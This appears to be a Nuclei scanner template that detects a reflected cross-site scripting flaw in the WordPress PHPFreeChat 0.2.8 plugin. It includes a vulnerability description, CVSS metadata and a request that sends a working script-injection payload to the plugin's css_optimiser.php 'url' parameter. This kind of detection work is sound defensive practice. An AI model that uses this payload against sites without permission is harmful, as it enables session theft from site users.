WordPress PHPFreeChat 0.2.8 plugin contains a cross-site scripting vulnerability via the url parameter. An attacker can execute arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
PoC代码[已公开]
id: wp-phpfreechat-xss
info:
name: WordPress PHPFreeChat 0.2.8 - Cross-Site Scripting
author: daffainfo
severity: high
description: WordPress PHPFreeChat 0.2.8 plugin contains a cross-site scripting vulnerability via the url parameter. An attacker can execute arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
reference:
- https://www.exploit-db.com/exploits/37485
- http://web.archive.org/web/20210120061848/https://www.securityfocus.com/bid/54332/info
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
cvss-score: 7.2
cwe-id: CWE-79
metadata:
max-request: 2
tags: xss,wp-plugin,edb,wordpress,vuln
flow: http(1) && http(2)
http:
- raw:
- |
GET / HTTP/1.1
Host: {{Hostname}}
matchers:
- type: word
internal: true
words:
- '/wp-content/plugins/phpfreechat/'
- method: GET
path:
- '{{BaseURL}}/wp-content/plugins/phpfreechat/lib/csstidy-1.2/css_optimiser.php?url=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'
matchers-condition: and
matchers:
- type: word
words:
- "</script><script>alert(document.domain)</script>"
part: body
- type: word
part: header
words:
- text/html
- type: status
status:
- 200
# digest: 4a0a00473045022100ecf1c447bfd5d6215a0f82930415fbe05c46094c121aa31b240561960393941a022013dd2ad2b551f5fd26e9d080f694a7a5469968393fc5680459686838d416097f:922c64590222798bb761d5b6d8e72950